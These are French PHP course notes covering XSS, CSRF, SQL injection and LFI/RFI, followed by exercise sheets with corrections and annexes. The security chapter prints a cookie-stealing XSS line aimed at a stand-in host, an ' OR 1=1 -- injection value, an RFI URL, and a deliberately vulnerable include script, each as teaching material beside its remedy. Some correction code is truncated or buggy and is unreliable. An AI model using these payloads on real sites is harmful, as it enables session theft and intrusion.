Pour envoyer un mail à plusieurs destinataires, il faut séparer les adresses par des virgules.
Exemple
<?php
mail("personne@domain.com","test d'envoie de mail","Ceci est un
test.");
?>

Développement côté serveur Chapitre 10. La sécurité avec PHP5
Chapitre 10. La sécurité avec PHP5
 Reconnaitre quelques failles de sécurité des applications web et leurs conséquences
 Intégrer des moyens pour protéger son code d’éventuelles attaques
Durée
45 mn
Plan du chapitre
10.1. Introduction ...............................................................................................................94
10.2. Attaque Cross Site Scripting (XSS)...........................................................................94
10.2.1. Définition ............................................................................................................94
10.2.3. Remèdes..............................................................................................................95
10.3. Attaque Cross Site Request Forgery (CSRF) ............................................................95
10.3.1. Définition ............................................................................................................95
10.3.3. Remèdes..............................................................................................................95
10.4. Attaque par injection SQL.........................................................................................96
10.4.1. Définition ............................................................................................................96
10.4.3. Remèdes..............................................................................................................96
10.5. Attaque Local File Inclusion (LFI) ou Remote File Inclusion (RFI) ........................96
10.5.1. Définition ............................................................................................................96
10.5.3. Remèdes..............................................................................................................98

10.1. Introduction
Une application développée en PHP repose sur l’architecture client/serveur ce qui l’apprête à
plusieurs vulnérabilités. Pour s’assurer de la sécurité d’une telle application, on peut
vérifier :
 L’intégrité : les données échangées entre le client et le serveur sont-elles fiables.
 L’authentification : l’application communique-t-elle avec les bonnes entités.
 La confidentialité : les données échangées sont-elles préservées (confidentielles).
10.2. Attaque Cross Site Scripting (XSS)
10.2.1. Définition
Le cross-site scripting (abrégé XSS), permet d’injecter du contenu dans une page,
provoquant ainsi des actions sur les navigateurs web visitant la page. Le script malicieux va
avoir accès au Document Object Model (DOM) et exécute des actions à l’insu du visiteur.
Exemple
//Le pirate récupère les informations des utilisateurs à leur insu
document.forms[0].action = "http://lepirate.fr/getinfo.php";
//
document.location = "http://chez.moi/cookies.php?cookies=" +
document.cookie;
À leur insu, les utilisateurs envoient leurs infos à l’url du formulaire qui a été détournée.
10.2.2. Conséquences possibles
 Vol d’information
 Détournement des sessions et des cookies
 Redirection du traitement vers un autre site similaire (pishing)
 Modification de la présentation du site

10.2.3. Remèdes
Pour se protéger des attaques XSS, il faut :
 filtrer les entrées du site ($_GET, $_POST, $_COOKIE) en validant seulement les
accès autorisés.
 protéger les données envoyées vers le navigateur avec htmlentities ou
htmlspecialchars avec le paramètre ENT_QUOTES ;
 préciser le jeu de caractères de chaque page web dynamique (évite une interprétation
différente selon le navigateur) ; <META http-equiv="Content-Type"
content="text/html; charset=ISO-8859-1">
 utiliser les fonctions prédéfinies utf8_decode et strip_tags (suppression des balises
dans la chaîne) ;
10.3. Attaque Cross Site Request Forgery (CSRF)
10.3.1. Définition
Une attaque par falsification de requête inter-sites (CSRF) force le navigateur d’une victime
authentifiée à envoyer une requête http, comprenant le cookie de session de la victime ainsi
que toute autre information automatiquement inclue, à un site web vulnérable. Ceci permet à
l’attaquant de forcer le navigateur de la victime à générer des requêtes, le site web
vulnérable considérant alors qu’elles émanent légitimement de la victime.
 Vol d’information
 Corruption de données
10.3.3. Remèdes
 Exiger une requête POST pour tout comportement ayant un effet de bord
 Empêcher l’inclusion d’une page dans une autre (avec l’en-tête HTTP X-Frame-
Options)
 Faire en sorte que l’accès à cette page soit contrôlé par des tokens uniques non
devinables

10.4. Attaque par injection SQL
10.4.1. Définition
L’injection SQL peut être une conséquence directe d’un mauvais contrôle des données
saisies par l’utilisateur. En effet, les caractères « ‘ » et « ; » peuvent être utilisés pour
enchaîner plusieurs requêtes SQL à la suite.
Exemple
Supposons que $p vale « ’ OR 1=1 -- » dans :
$result=pg_query("SELECT * FROM T WHERE passwd=’$p’");
 Altération de données
 Révélation d’informations
 Déni de service
10.4.3. Remèdes
Il ne faut jamais construire une requête contenant des caractères spéciaux. A la place, il est
conseillé d’utiliser les requêtes préparées. Dans le cas où l’utilisation de requêtes
paramétrées n’est pas possible, il faudrait mieux utiliser les fonctions de protections de
caractères spéciaux tel que par exemple pg_escape_string.
10.5. Attaque Local File Inclusion (LFI) ou Remote File Inclusion (RFI)
10.5.1. Définition
L’attaque LFI consiste à intégrer un lien vers un script malveillant uploadé sur le site web.
L’attaque RFI permet d’intégrer des fichiers et/ou des pages web externes au site web. Ces
fichiers/ pages web contient la plupart de temps un lien vers un site web malveillant.
Exemple
<?php
$page = array_key_exists('page', $_GET) ? $_GET['page'] : null ;

if (!is_null($page)) {
include($page);
} else {
echo "Aucun page à inclure...";
}
?>
Ce script ne fait qu’attendre un paramètre HTTP GET nommé page, qui correspondra à un
flux, pour ensuite le rendre dans la page résultante.
Si le fichier de configuration php.ini contient les directives suivantes :
- allow_url_fopen = On
- allow_url_include = On
Attaque LFI possible
Supposons l’existence d’un fichier nommé « config.xml » dans un sous dossier « BD », il
serait possible d’afficher son contenu comme suit :
http://localhost/lfi.php?page=BD/config.xml
Attaque RFI possible
On peut passer en paramètre une url pointant vers un script malicieux développé par un
pirate : http://localhost/rfi.php?page=http://serveur-pirate.net/exploit.php
Le script « exploit.php » sera récupéré par l’application et exécuté puis rendu dans la page
résultante.
 LFI
- D’accéder au code source de fichiers privés stockés sur le serveur ciblé par
l’attaque
- D’exécuter un script disponible sur le serveur dans un contexte non
conventionnel (non prévu par le système d’information)
 RFI

- De faire exécuter par l’application un script stocké sur un serveur distant et
construit sur-mesure par le pirate
- De défigurer le site
10.5.3. Remèdes
Pour se protéger des attaques LFI/RFI, on doit utiliser :
 allow_url_include : include ne peut pas inclure d’URL
 allow_url_fopen : fopen ne peut pas ouvrir un stream HTTP
 register_globals : protège les variables globales

Exercice 1
Spécifier le résultat d’affichage pour chacun des extraits de code suivant :
1. $a=2; echo 'a vaut $a';
2. $a=5; echo "a vaut $a";
3. echo 'Ceci ', 'est ', 'un ', 'exemple.' ;
4. echo 'n';
5. echo "n";
6. $var=3.14; $retFonc = settype($var,"integer"); echo '$var = ', $var, " ", '$retFonc = ',
$retFonc;
7. $var1 = 1; $var2 = &$var1 ; echo "$var1,$var2 | "; $var1 = 2; echo "$var1,$var2" ;
8. <?php
echo isset($var1);
$var1= "texte";
unset($var1);
echo isset($var1); ?>
9. <?php
$var1= 9;
echo gettype($var1) . " | ";
$var1= $var1 / 2;
echo gettype($var1) . " | ";
unset($var1);
Département de Technologies de l'Informatique
Matière : Développement côté serveur
Enseignante : H. TOUKABRI
Niveau : L2
Filières : DSI/MDW
TD N° 1

echo gettype($var1); ?>
Exercice 2
Donner le type et la valeur de la variable $var suite à l’exécution de chacun des blocs
suivants :
Bloc 1 Bloc 2
$var = 345;
$var += 300;
$var = '345';
$var = false;
$var = ($var && true) || ($var === 'false');
Bloc 3 Bloc 4
$var = 'td1';
$var .= ' ' . $var;
$var = NULL;
$var = $var && true;
Exercice 3
Déterminer le numéro de version de PHP et le nom du système d’exploitation du serveur en
utilisant les constantes prédéfinies de PHP.
Exercice 4
Considérons trois variables : module, nom et commentaire. Initialiser :
- La variable module à « PHP »
- La variable nom à « Mohamed »
- La variable commentaire avec « Mon nom est : »
Concaténer le commentaire au nom, le message « Je suis le module : » à la variable module.
Créer la page PHP résultat.

Exercice 1
Écrire un script qui teste si un nombre (déclaré directement dans le programme) est à la fois
un multiple de 8 et de 3.
Exercice 2
Écrire un script permettant de :
1. Tirer aléatoirement un nombre entre 1 et 100 et de le stocker dans la variable $age. Pour
cela, on utilise la fonction prédéfinie rand dont la syntaxe est donnée par :
int rand ( int $min , int $max ).La fonction rand retourne une valeur aléatoire entre $min et
$max.
2. Afficher le contenu de la variable $age.
3. Afficher un message selon les conditions suivantes :
- si l’âge est inférieur à 10, on affiche « enfant »
- si l’âge est compris entre 10 et 19, on affiche « adolescent »
- si l’âge est compris entre 20 et 39, on affiche « jeune »
- si l’âge est compris entre 40 et 59, on affiche « adulte »
- si l’âge est supérieur ou égal à 60, on affiche « vieux »
Exercice 3
Écrire un script permettant l’affichage de la table de multiplication d’un nombre (à choisir).
Niveau : L2
Filières : DSI/MDW
TD N° 2

Exercice 4
Écrire un programme qui affiche les nombres de 0 à 20 de trois en trois.
Exemple
0-1-2
3-4-5
6-7-8
Exercice 5
Écrire un script php permettant de tracer une forme géométrique composée d’étoiles.

Exercice 1
Écrire un script permettant de créer un tableau contenant une liste d’adresses de sites
recommandés, puis créer un lien aléatoire vers le premier site de la liste après avoir trié le
tableau en ordre aléatoire.
On donne :
mixed array_rand (array $array [, int $num = 1]) : Sélectionne une ou plusieurs valeurs au
hasard dans un tableau et retourne la ou les clés de ces valeurs. $num désigne le nombre de
valeurs à récupérer.
Exemple
Si on considère le tableau $tab :
$tab = array ("PHP" => "http://www.php.net", "MySQL" => "http://www.mysql.org",
"SQLite" => "http://www.sqlite.org");
Le résultat d’affichage serait après un choix aléatoire à partir de $tab est :
Site recommandé : PHP
Exercice 2
On considère le tableau suivant :
$voy = array ('a', 'e', 'o', 'u', 'y') ;
Niveau : L2
Filières : DSI/MDW
TD N° 3

Écrire le script permettant d’insérer la voyelle manquante à ce tableau.
On donne :
 array array_slice (array $array , int $offset [, int $length = NULL [, bool$preserv
e_keys = false ]] ) : retourne une série d’éléments du tableau array commençant à
l’offset offset et représentant length éléments. $preserve_keys permet de garder
l’ordre des clés définies par l’utilisateur si elle est à true sinon
l’ordre préconisé est un ordre numérique des indices.
 array array_merge ( array $array1 [, array $... ] ) : fusionne plusieurs tableau en
rassemblant les valeurs les unes à la suite de autres.
Exercice 3
Créer un tableau contenant deux « sous-tableaux » (tableau à 2 dimensions) : un sous-
tableau de 3 teintes (rouge, jaune, bleu) et un sous-tableau de 3 luminances (faible,
moyenne, forte). Afficher le contenu du tableau dans une <table> html.
Exercice 4
Considérons les deux tableaux suivants :
$mois = array (1=>'Janvier', 'Février', 'Mars', 'Avril', 'Mai', 'Juin', 'Juillet', 'Aout', 'Septembre',
'Octobre', 'Novembre', 'Décembre');
$couleurCellule = array (1=>'blue', 'white', 'red', 'yellow', 'grey', 'lime', 'lightblue', 'fuchsia',
'lightgrey', 'olive', 'pink', 'purple');
Écrire un script permettant d’afficher la liste des mois dans une <table> html en attribuant
pour chaque mois une couleur d’arrière-plan issu du tableau $couleurCellule.

Exercice 1
Écrire une fonction récursive permettant de vérifier si un nombre passé en paramètre est un
entier. (Ne pas utiliser la fonction prédéfinie is_integer).
Exercice 2
Écrire une fonction txtToHTML qui reçoit en paramètre une chaîne de caractères et un entier
représentant un code de formatage HTML. Le code de formatage représente un nom de balise
HTML et
sera parmi p, h1 et h2, b. La fonction doit renvoyer la chaîne entourée de la balise
correspondant au formatage demandé. Si le code de formatage n’est pas parmi ceux autorisés,
la fonction ne renvoie rien.
Exemple
Si 4 correspond au code de formatage b, txtToHTML ("texte", 4) retourne texte.
Exercice 3
Écrire une fonction ligne prenant en argument un entier $n et un caractère $c, et renvoyant
une chaîne de caractère composées de $n fois le symbole $c.
1. En utilisant la fonction ligne, écrire une fonction pyramide qui prend en entrée un entier
$n, et affiche une pyramide de caractères $c et de hauteur $n.
Niveau : L2
Filières : DSI/MDW
TD N° 4

Exemple
Pour $n=3 et $c='*', on affiche :
*
**
***
2. Modifier la fonction précédente, de sorte que la pyramide ne soit construite que si l’entier
donné en paramètre est plus petit que 10. Elle renverra un message d’erreur dans le cas
contraire.
Exercice 4
On se propose de gérer une classe d’étudiants.
1. Définir la structure permettant de stocker les informations relatives à un étudiant. Un
étudiant est défini par son numéro de carte d’identité, son nom, son prénom, sa date de
naissance et sa note en PHP.
2. Écrire une procédure afficherEtudiant permettant d’afficher les informations relatives à un
étudiant sous forme d’une ligne d’une table HTML. (Une ligne de la balise <table>).
3. Écrire une fonction getNote permettant de retourner la note d’un étudiant donné.
4. Créer une structure représentant une classe d’étudiants comme un tableau étudiants.
Créer une procédure afficherClasse permettant d’afficher une classe d’étudiants.

Exercice 1
Écrire une classe représentant une ville. Elle doit avoir les propriétés nom et position (pour
position géographique) et une méthode affichant « la ville X est au Y de la Tunisie ». Créer
des objets ville, affecter leurs propriétés, et utiliser la méthode d’affichage.
Exercice 2
Une entreprise a un certain nombre d’employés. Un employé est connu par son nom, son
matricule (identifiant unique) et son indice salarial. Le salaire est calculé en multipliant cet
indice par une certaine valeur qui peut changer en cas d’augmentation générale des salaires,
mais qui est la même pour tous les employés.
1. Écrire la classe des employés avec les informations utiles et des méthodes pour afficher
les caractéristiques d’un employé et pour calculer son salaire.
2. Créer l’employé « Mohamed » avec le matricule 1 et l’indice salarial 2. Afficher, ensuite,
les informations de « Mohamed ».
Exercice 3
1. Créer une classe abstraite représentant une personne. Elle déclare les propriétés nom et
prénom et un constructeur.
2. Créer une classe client dérivée de la classe personne en y ajoutant la propriété adresse, une
méthode getCoord() qui retourne les coordonnées de la personne et une méthode
setCoord($adresse) qui affecte les coordonnées de la personne.
Niveau : L2
Filières : DSI/MDW
TD N° 5

3. Créer une classe électeur dérivée de la même classe abstraite personne, et ajouter-y deux
propriétés bureau_de_vote et vote, ainsi qu’une méthode aVote(), qui enregistre si une
personne a voté dans la propriété vote.

Exercice 1
Les résultats d’affichage sont donnés par :
1. a vaut $a : L’utilisation d’apostrophes ne permet pas l’évaluation du contenu de la
variable.
2. a vaut 5 : Utiliser des guillemets indique l’évaluation de $a qui est égale à 5.
3. Ceci est un exemple. : Les mots de cette phrase ont été attachés par le caractère de
concaténation de chaînes « , ».
4. n : L’instruction echo affiche le message entre apostrophes sans évaluation, « n » est
considéré comme étant une chaîne de caractères et non pas un caractère spécial.
5. Pas d’affichage car il s’agit d’un retour chariot : n est évalué comme étant un retour
chariot en HTML. Si l’on souhaite avoir un retour à la ligne, on doit utiliser la balise <br>.
6. $var = 3 $retFonc = 1 : La fonction settype force la conversion de type de la variable
$var en entier d’où le premier affichage $var = 3. Le retour de la fonction settype est
stocké dans la variable $retFonc. Vu que la fonction a réussi donc le retour est égale à
1.
7. 1,1 | 2,2 : $var2 a été assigné par référence à $var1 donc toute modification de valeur de
$var1 est répercuté sur $var2 vu que celle-ci n’est qu’un alias de $var1.
8. Aucun affichage : le premier echo n’affiche rien car $var1 n’est pas assigné. Le second
affichage est précédé par la fonction unset qui supprime la variable $var1.
9. integer | double | erreur « undefined variable » : la première instruction gettype affiche le
type integer, la deuxième instruction gettype retourne le type double car le retour $var1
Niveau : L2
Filières : DSI/MDW
Correction TD N° 1

divisé par 2 est un réel. La troisième instruction gettype génère une erreur car elle a été
précédé par une instruction de suppression (fonction unset) de la variable $var1.
Exercice 2
Donner le type et la valeur de la variable $var suite à l’exécution de chacun des blocs
suivants :
Bloc 1 Bloc 2
$var = 345;
$var += 300;
$var = '345';
$var = false;
$var = ($var && true) || ($var === 'false');
Type : string Valeur : 345 Type : boolean Valeur : false
Bloc 3 Bloc 4
$var = 'td1';
$var .= ' ' . $var;
$var = NULL;
$var = $var && true;
Type : string Valeur : td1 td1 Type : boolean Valeur : false
Exercice 3
Déterminer le numéro de version de PHP et le nom du système d’exploitation du serveur en
utilisant les constantes prédéfinies de PHP.
<?php
echo "Le numéro de la version courante : " . PHP_VERSION_ID . "</br>";
echo "Le système d'exploitation du serveur est : " . PHP_OS . "</br>";
?>
Exercice 4
Considérons trois variables : module, nom et commentaire. Initialiser :
- La variable module à « PHP »
- La variable nom à « Mohamed »

- La variable commentaire avec « Mon nom est : »
Concaténer le commentaire au nom, le message « Je suis le module : » à la variable module.
Créer la page PHP résultat.
<!DOCTYPE html>
<html >
<head>
<title>Exercice 4</title>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-
15"/>
</head>
<body>
<center>
<b>Exercice 4_TD1</b>
<br>
<?php
// initialisation des variables
$module = "PHP" ;
$nom = "Mohamed";
$commentaire ="Mon nom est : ";
echo $commentaire . $nom . "<br>"; // opérateur de concaténation
echo "Je suis le module : $module"; // variable dans la chaîne
?>
</center>
</body>
</html>

Exercice 1
<?php
$var = 45;
if (($var % 3 == 0) && ($var % 8 == 0))
echo "$var est multiple de 3 et 8";
else
echo "$var ne divise pas 3 et 8";
?>
Exercice 2
<?php
$age = rand(1,100);
echo 'la valeur de $age est : ' . $age;
echo "</br>";
switch ($age):
case $age < 10 : echo "enfant";break;
case $age >= 10 && $age <= 19: echo "adolescent";break;
case $age >= 20 && $age <= 39: echo "jeune";break;
case $age >= 40 && $age <= 59: echo "adulte";break;
case $age >= 60: echo "vieux";break;
endswitch;
?>
Exercice 3
<?php
$var = 5;
Niveau : L2
Filières : DSI/MDW
Correction TD N° 2

echo "La table de multiplication de $var est donnée par </br>";
for($i=0;$i<=9;$i++){
echo "$var*$i = " .$var*$i;
echo "</br>";
}
?>
Exercice 4
<?php
for($i=0;$i<=20;$i+=3){
echo $i . "-" . ($i+1) . "-" . ($i+2) . "</br>";
}
?>
Exercice 5
Le code suivant permet de tracer un rectangle
<?php
for ($j=1 ; $j<=8 ; $j++) {
for ($i=1 ; $i<=8 ; $i++) {
echo '*';
}
echo "</br>";
}
?>

Exercice 1
<?php
$tab=array("PHP"=>"http://www.php.net","MySQL"=>"http://www.mysql.o
rg","SQLite"=>"http://www.sqlite.org");
$site=array_rand($tab);
echo "Site recommandé : <a href="$tab[$site]" > ",$site,"</a>";
?>
Exercice 2
<?php
$voy = array ('a', 'e', 'o', 'u', 'y') ;
echo 'Affichage avant insertion <br/>';
echo '<pre>';
print_r($voy);
echo '</pre>';
$voy1 = array_slice ($voy, 0, 2); //Range dans $voy1 les 2 premiers
éléments de $voy
$voy2 = array_slice ($voy, 2); //stocke dans $voy2 les reste des
éléments de $voy à partir de la position 2
array_push ($voy1, 'i'); //Ajout du caractère manquant
$voy = array_merge ($voy1, $voy2); //Fusionne les deux tableaux
echo 'Affichage après insertion <br/>';
echo '<pre>';
print_r($voy);
echo '</pre>';
?>
Niveau : L2
Filières : DSI/MDW
Correction TD N° 3

Exercice 3
<?php
$tab = array (
array ('rouge','jaune','bleu'),
array ('faible','moyenne','forte')
);
echo "<table>";
foreach ($tab as $vecteur){
echo '<tr>';
echo '<td>' . $element . '</td>';
}
echo '</tr>';
}
echo "</table>"; ?>
Exercice 4
<?php
$mois = array(1=>'Janvier','Février','Mars','Avril',
'Mai','Juin',
'Juillet','Aout','Septembre','Octobre',
'Novembre','Décembre');
$couleurCellule = array(1=>'blue','white','red','yellow',
'grey','lime',
'lightblue','fuchsia', 'lightgrey',
'olive','pink','purple');
echo "<table border=1>";
for($i=1;$i<=12;$i++)
{
echo "<td bgcolor=$couleurCellule[$i]>". $mois[$i] . "</td>" ;
if ($i%3==0)
echo "</tr><tr>";
}
echo "</table>";
?>

Exercice 1
<?php
function verifierNb($Nb)
{
if($Nb > 1)
{
// Si $Nb-1 est un entier alors $Nb l'est aussi
return (verifierNb($Nb-1));
}
elseif($Nb < 0)
{
//Vérifier la valeur absolu du nombre si $Nb < 0
return (verifierNb((-1)*$Nb-1));
}
else
{
if(($Nb > 0) AND ($Nb < 1))
{
return ("non");
}
else
{
// 0 et 1 sont par définition des entiers
return ("oui");
}
}
}
echo "0 est-il un entier ? " . verifierNb(0) . "<br/>";
echo "3 est-il un entier ? " . verifierNb(3) . "<br/>";
Niveau : L2
Filières : DSI/MDW
Correction TD N° 4

echo "39.4 est-il un entier ? " . verifierNb(39.4) . "<br/>";
echo "-2 est-il un entier ? " . verifierNb(-2) . "<br/>";
echo "-3.14 est-il un entier ? " . verifierNb(-3.14) . "<br/>";
?>
Exercice 2
<?php
function txtToHTML($balise,$texte){
$tab = array(
"p" => '<p>'.$texte.'</p>',
"h1" => '<h1>'.$texte.'</h1>',
"h2" => '<h2>'.$texte.'</h2>',
"b" => '<b>'.$texte.'</b>'
);
if (array_key_exists($balise,$tab))
return "$tab[$balise]";
return "$balise n'est pas reconnue";
}
echo txtToHTML ('l','test') . "</br>";
echo txtToHTML ('h1','test') . "</br>";
echo txtToHTML ('p','test') . "</br>";
echo txtToHTML ('b','test') . "</br>";
echo txtToHTML ('i','test') . "</br>";
?>
Exercice 3
1. La fonction ligne est donnée par :
<?php
function ligne ($c,$n){
$l = '';
for($cpt=0;$cpt<$n;$cpt++)
$l .= $c;
return $l;
}?>

2. La fonction pyramide est donnée par :
<?php
function pyramide ($c,$n){
$p = '';
for($cpt=0;$cpt<$n;$cpt++){
$p .= ligne ($c,$cpt+1);
$p .= "</br>";
}
return $p;
}?>
3. La fonction pyramide modifiée :
<?php
function pyramide ($c,$n){
//Si $n < 10, la pyramide est construite
if($n < 10){
$p = '';
for($cpt=0;$cpt<$n;$cpt++){
$p .= ligne ($c,$cpt+1);
$p .= "</br>";
}
return $p;
}
else
//Si $n > 10, on retourne un message d'erreur
return "Impossible de construire la pyramide pour $n = $n";
}?>
Exercice 4
1. Pour définir la structure Etudiant, on se servira d’un tableau associatif :
$Etudiant1 = array (
"cin" => '07134679',
"nom" => 'Menjli',
"prenom" => 'Mohamed',
"naissance" => '21/06/95',
"notePHP" => 12

);
2. Procédure d’affichage de la structure Etudiant
function afficherEtudiant ($Etudiant){
//Création d'une nouvelle ligne de la table
echo '<tr>';
//Remplissage de la ligne par les informations relatives à un étudiant
foreach ($Etudiant as $clef => $valeur){
echo '<td>';
echo $valeur;
echo '</td>';
}
//Fin de la ligne
echo '</tr>';
}
3. La fonction getNote()
function getNote($Etudiant){
return $Etudiant["notePHP"];
}
4. Classe d’étudiants
"cin" => '07134679',
"nom" => 'Menjli',
"prenom" => 'Mohamed',
"naissance" => '21/06/95',
"notePHP" => 12
);
"cin" => '17134879',
"nom" => 'Mraihi',
"prenom" => 'Islem',
"naissance" => '02/04/92',
"notePHP" => 8
);

"cin" => '08124679',
"nom" => 'Triki',
"prenom" => 'Ines',
"naissance" => '12/02/95',
"notePHP" => 16
);
$Classe = array (
$Etudiant1,
$Etudiant2,
$Etudiant3
);
5. Procédure d’affichage d’une classe d’étudiants
function afficherClasse($Classe){
//Création de la table
echo '<table>';
for($cpt=0;$cpt<count($Classe);$cpt++){
afficherEtudiant($Classe[$cpt]);
}
//Fin de la table
echo '</table>';
}

Exercice 1
<?php
class ville
{
public $nom;
public $position;
public function getinfo()
{
$texte="La ville de $this->nom est au $this->position de la Tunisie
<br />";
return $texte;
}
}
//Création d'objets
$ville1 = new ville();
$ville1->nom="Tunis";
$ville1->position="nord";
$ville2 = new ville();
$ville2->nom="Médenine";
$ville2->position="sud";
echo $ville1->getinfo();
echo $ville2->getinfo();
?>
Exercice 2
<?php
/**
* Classe Employe
Niveau : L2
Filières : DSI/MDW
Correction TD N° 5

*/
class Employe
{
private $nom;
private $matricule;
private $indiceSalarial;
private static $valeur = 120;
function __construct($nom,$matricule,$indiceSalarial)
{
$this->nom = $nom;
$this->matricule = $matricule;
$this->indiceSalarial = $indiceSalarial;
}
public function getNom()
{
return $this->nom;
}
public function setNom($nom)
{
$this->nom = $nom;
}
public function getMatricule()
{
return $this->matricule;
}
public function setMatricule($matricule)
{
$this->matricule = $matricule;
}
public function getIndiceSalarial()
{
return $this->indiceSalarial;
}
public function setIndiceSalarial($indiceSalarial)
{
$this->indiceSalarial = $indiceSalarial;
}
public function getValeur()
{
return SELF::valeur;
}
public static function setValeur($valeur)

{
return SELF::$valeur = $valeur;
}
public function afficherInfosEmploye()
{
echo "$this->nom a le matricule $this->matricule et l'indice
salarial $this->indiceSalarial";
}
public function calculSalaire()
{
return $this->indiceSalarial * SELF::valeur;
}
}
$e1 = new Employe("Mohamed",1,2);
$e1->afficherInfosEmploye();
?>
Exercice 3
<?php
//Classe personne
abstract class personne
{
private $nom;
private $prenom;
abstract protected function __construct($a,$b); //Le constructeur doit
être rédéfini dans les classes filles
}
//Classe client
class client extends personne
{
private $adresse;
//Redéfinition du constructeur par défaut
public function __construct($nom,$prenom)
{
$this->nom=$nom;
$this->prenom=$prenom;
}
public function getCoord()
{

return $this->adresse;
}
public function setCoord($adresse)
{
$this->adresse = $adresse;
}
}
//Classe electeur
class electeur extends personne
{
//Tant qu'il n'y a pas de setters et de getters on doit définir les
propriétés à public
public $bureau_de_vote;
public $vote;
function __construct($nom,$prenom)
{
$this->nom=$nom;
$this->prenom=$prenom;
}
public function avoter()
{
$this->vote=TRUE;
}
}
?>

Bibliographie
[1] B. Bogaert, A. Goguey, H. Rateau, et L. Weinberg, « Cours PDO ». Université Lille 1,
2015.
[2] J. Engels, PHP 5 Cours et exercices, 2e
éd. 2009.
[3] P. Rigaux, Pratique de MySQL et PHP : Conception et realisation de sites web
dynamiques, 4e
éd.
[4] D. Seguy et P. Gamache, Sécurité PHP 5 et MySQL, 3e
éd. 2011.

Développement côté serveur Annexe A : Les variables d’environnement
ISET Kélibia: H.TOUKABRI i
Annexe A. Les variables d’environnement
A.1. Variables dépendant du serveur
$_SERVER['DATE_GMT'] : Date actuelle au format GMT
$_SERVER['DATE_LOCAL'] : Date actuelle au format local
$_SERVER['DOCUMENT_ROOT'] : Racine des documents Web sur le serveur
$_SERVER['GATEWAY_INTERFACE'] : Version des spécifications CGI utilisées par
le serveur
$_SERVER['$HTTP_HOST'] : Nom de domaine du serveur
$_SERVER['SERVER_ADDR'] : Adresse IP du serveur
$_SERVER['SERVER_ADMIN'] : Adresse de l’administrateur du serveur
$_SERVER['SERVER_NAME'] : Nom donné au serveur en local
$_SERVER['SERVER_PORT'] : Numéro de port associé au protocole HTTP sur le
serveur
$_SERVER['SERVER_PROTOCOL'] : Nom et version du protocole utilisé pour envoyer
la requête au script PHP
$_SERVER['SERVER_SOFTWARE'] : Type (logiciel) du serveur web :
 Pour un serveur Apache sous Unix : Apache/1.3.2 (Unix) PHP/3.0.5
 Pour un serveur Apache sous Windows : Apache/1.3.2 (Win32) PHP/3.0.5
A.2. Variables dépendant du client
$_SERVER['AUTH_TYPE'] : Il s’agit de la méthode d’authentification qui a été utilisée
par le client pour accéder au script PHP

ISET Kélibia: H.TOUKABRI ii
$_SERVER['COMSPEC'] : Location de l’interpréteur de commandes sur la machine (Sous
Windows)
$_SERVER['CONTENT_TYPE'] : Type de données présent dans le corps de la requête. Il
s’agit du type MIME des données
$_SERVER['DOCUMENT_ROOT'] : Racine des documents sur le serveur
$_SERVER['DOCUMENT_URI'] : Adresse du script PHP en relatif (à partir de la racine
du serveur)
$_SERVER['HTTP_ACCEPT'] : Types MIME reconnus par le serveur (séparés par des
virgules)
$_SERVER['HTTP_ACCEPT_ENCODING'] : Types d’encodage que le serveur peut
réaliser (gzip,deflate)
$_SERVER['HTTP_ACCEPT_LANGUAGE'] : Langue utilisée par le serveur (par défaut
en-us)
$_SERVER['HTTP_CONNECTION'] : Type de connexion ouverte entre le client et le
serveur (par exemple Keep-Alive)
$_SERVER['HTTP_HOST'] : Nom d’hôte de la machine du client (associée à l’adresse
IP)
$_SERVER['HTTP_REFERER'] : URL de la page qui a appelé le script PHP
$_SERVER['HTTP_USER_AGENT'] : Cette variable permet d’avoir des informations sur
le type de navigateur utilisé par le client, ainsi que son système d’exploitation.
$_SERVER['LAST_MODIFIED'] : Date et heure de la dernière modification du fichier
$_SERVER['PATH'] : Il s’agit du chemin d’accès aux différents répertoires sur le serveur
$_SERVER['PATH_INFO'] : Il s’agit du chemin d’accès au script PHP en relatif (de la
racine du serveur jusqu’au script PHP)
$_SERVER['PHP_SELF'] : Nom du script PHP

ISET Kélibia: H.TOUKABRI iii
$_SERVER['REDIRECT_STATUS'] : Il s’agit de l’état de la redirection (échec ou
succès)
$_SERVER['REDIRECT_URL'] : Il s’agit de l’URL vers laquelle le navigateur du client
a été redirigé
$_SERVER['QUERY_STRING'] : Il s’agit de la partie de l’URL (ayant servi à accéder au
script PHP) située après le point d’interrogation. C’est de cette manière que sont transmises
les données d’un formulaire dans le cas de la méthode GET
$_SERVER['REMOTE_ADDR'] : Cette variable contient l’adresse IP du client appelant
le script CGI
$_SERVER['REMOTE_PORT'] : Cette variable permet de savoir le port sur lequel la
requête HTTP a été envoyée au serveur
$_SERVER['SCRIPT_FILENAME'] : Chemin d’accès complet au script PHP. Sous
windows, il sera de la forme : c:/php/php.exe
$_SERVER['SCRIPT_NAME'] : Chemin d’accès relatif (par rapport au chemin d’accès à
la racine web ($DOCUMENT_ROOT)) au script PHP

Développement côté serveur Annexe B : Les constantes prédéfinies
ISET Kélibia: H.TOUKABRI iv
Annexe B. Les constantes prédéfinies5
PHP_VERSION (chaîne de caractères) : La version courante de PHP sous la forme d’une
chaîne de caractères dans la notation "major.minor.release[extra]".
PHP_MAJOR_VERSION (entier) : La version majeure courante de PHP sous la forme
d’une chaîne de caractères (i.e., int(5) depuis la version "5.2.7-extra"). Disponible depuis
PHP 5.2.7.
PHP_MINOR_VERSION (entier) : La version mineure courante de PHP sous la forme
PHP 5.2.7.
PHP_RELEASE_VERSION (entier) : La version stable courante de PHP sous la forme
PHP 5.2.7.
PHP_VERSION_ID (entier) : La version courante de PHP sous la forme d’un entier, utile
pour la comparaison de versions (i.e., int(50207) depuis la version "5.2.7-extra"). Disponible
depuis PHP 5.2.7.
PHP_EXTRA_VERSION (chaîne de caractères) : La version "extra" courante de PHP sous
la forme d’une chaîne de caractères (i.e., '-extra' depuis la version "5.2.7-extra").
Habituellement utilisée par les packagers des distributions pour indiquer une version de
paquet. Disponible depuis PHP 5.2.7.
PHP_ZTS (entier) : Disponible depuis PHP 5.2.7. cette constante vaut 1 si le Zend Thread
Safety est activé et 0 sinon.
PHP_DEBUG (entier) : Disponible depuis PHP 5.2.7. Elle indique si PHP est paramétré de
façon à utiliser l’outil PHP_DEBUG ou non.
5
http://php.net/manual/fr/reserved.constants.php

ISET Kélibia: H.TOUKABRI v
PHP_MAXPATHLEN (entier) : La longueur maximale des noms de fichiers (y compris le
chemin) supportée par ce binaire PHP. Disponible depuis PHP 5.3.0.
PHP_OS (chaîne de caractères) : Elle renvoie le nom du système d’exploitation sur lequel
l’exécutable PHP a été compilé. On a donc généralement WINNT sur une plateforme
Windows, Linux ou FreeBSD sur des systèmes Unix.
